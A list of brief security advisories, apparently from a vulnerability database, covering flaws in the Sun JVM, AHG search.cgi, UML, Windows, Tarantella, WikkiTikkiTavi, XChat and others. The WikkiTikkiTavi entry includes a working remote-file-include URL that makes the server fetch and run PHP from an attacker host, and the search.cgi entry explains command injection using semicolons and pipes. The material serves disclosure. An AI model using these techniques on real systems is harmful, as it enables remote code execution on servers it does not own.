It is possible for a maliciously constructed, valid java program to crash the Sun JVM. This may result in a denial of service attack in a shared environment. The ability to consistantly exploit this vulnerability has been demonstrated on the Linux version of the Sun JVM.
Search.CGI is a component of the HTMLsearch Search Engine software distributed by AHG. The software is available for the Unix, Linux, and Microsoft platforms. The search.cgi script included with the AHG Search Engine does not adequately filter input. Due to lack of sufficient input sanitization, it is possible for a remote user to pass semi-colon (;) and pipe (|) characters through a search request. This can result in the commands encapsulated between the symbols being executed with the privileges of the web server.
When debug mode is enabled, it is possible for a remote attacker to display the absolute path to the directory that the agora.cgi script is stored in. This is possible by making a web request for a non-existent .html file.
UML does not correctly protect kernel address space from user programs within the UML environment. It may be possible to execute arbitrary code within the kernel and gain root access. Additionally, it may be possible to use this vulnerability to escape the UML environment, leading to local access on the hosting system.
An issue exists in Windows which could cause the TCP stack to consume all available system memory. This is achieved if a user sends numerous empty TCP packets to a host on port 139. Successful exploitation of this vulnerability could render the system useless.
Tarantella Enterprise 3 is vulnerable to a race condition during the installation process. During installation, a root owned binary is created in /tmp (the directory specified by the $TMPDIR environment variable) with the name gunzip#### where #### is a PID. Prior to it being invoked by the installation program it can be overwritten by a local user. An attacker can only gain privileges in this manner if a privileged user is installing the software.
It is possible to retrieve the real IP addresses of webservers that are managed by an ACEdirector. When a client is connected to a webserver via the virtual IP address of the ACEdirector, the connection to a web server in the load balanced pool is tracked by a cookie and session id, and the traffic is altered to appear as though it is coming from the ACEdirector. When a client has half-closed a connection to the ACEdirector, the load balancer will no longer alter the traffic to the client to appear as though it is coming from the ACEdirector's IP address. The traffic will continue to come from the webserver, but will instead come from the real IP address of the web server.
WikkiTikkiTavi is a freely available engine for running a Wiki site. Wiki sites are web communities which are based on the idea that every webpage is editable by users of the website. WikkiTikkiTavi is back-ended by a MySQL database and runs on most Linux and Unix variants, as well as Microsoft Windows NT/2000 operating systems. WikkiTikkiTavi permits remote file including. As a result, a remote attacker may include an arbitrary file located on a remote host. This may be exploited via a malicious web request. If this file is a PHP script, it will be executed on the host running the vulnerable software with the privileges of the webserver. The attacker may use this as an opportunity to gain local access on the host running the vulnerable software. The following URL is sufficient to exploit this issue: http://some.host/wikihome/action/conflict.php?TemplateDir=http://my.host/ where conflict.php is the name of the malicious attacker-supplied script.
Microsoft Windows XP fails to properly verify the XML code within a '.manifest' file. If XML code is modified, the associated application will not start, causing a denial of service. This issue could pose a more serious threat if the XML code associated with 'explorer.exe' is modified. If the 'explorer.exe.manifest' file is modified, then when the computer restarts, the system will hang and 'explorer.exe' will not load, causing a denial of service.
XChat is prone to a remote denial-of-service vulnerability. An attacker can exploit this issue to crash the affected application, denying service to legitimate users. XChat 2.6.7 is vulnerable; other versions may also be affected.
Services By CQR